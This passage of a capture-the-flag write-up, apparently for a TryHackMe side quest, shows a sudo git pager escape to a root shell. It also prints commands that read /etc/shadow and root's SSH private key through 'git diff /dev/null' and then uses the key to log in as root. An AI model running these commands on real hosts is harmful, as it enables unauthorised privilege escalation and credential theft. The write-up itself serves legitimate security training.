The third flag can be found in the home directory of the user git.

Flag 4 - Shell As Root On Host

Strange no --no-pager escape

We are allowed to run /usr/bin/git --no-pager diff --help as root without a password using sudo. The command /usr/bin/git --no-pager diff performs a Git diff operation, but it disables the default use of a pager, such as less, for viewing the output. Theoretically, we could now read arbitrary files with /usr/bin/git --no-pager diff /dev/null /path/to/file/to/read.

If we could be in a pager like less, we could escape via !/bin/sh in the context of root. But the tag --no-pager is used, which circumvents it. Strangely, the tag --help without providing further parameters for diff does bring us to a pager we can escape. After running !/bin/sh...

sudo /usr/bin/git --no-pager diff --help

We are root and can read the final flag in the home directory of the root user.

GTFOBins

Like mentioned before, we could also read now arbitrary files, since it is executed with root permission.

For example, we could read the /etc/shadow file.

sudo /usr/bin/git --no-pager diff /dev/null /etc/shadow

But we cannot read the id_rsa in /root/.ssh/ because it is not there. Fortunately, the authorized_keys file is present, and we find some other key types in use.

sudo /usr/bin/git --no-pager diff /dev/null /root/.ssh/authorized_keys

We try to read /root/.ssh/id_ecdsa and do find a private key.

sudo /usr/bin/git --no-pager diff /dev/null /root/.ssh/id_ecdsa

We copy the key, change the permissions and use it to connect to the host as root.

CC BY 4.0
Advent of Cyber '24 Side QuestTryHackMe
Using Netcat for File Transfers
Logo
Upgrade Simple Shells to Fully Interactive TTYs
Release v0.7.3 · nicocha30/ligolo-ngGitHub
Logo
git | GTFOBins
Logo
Logo
Logo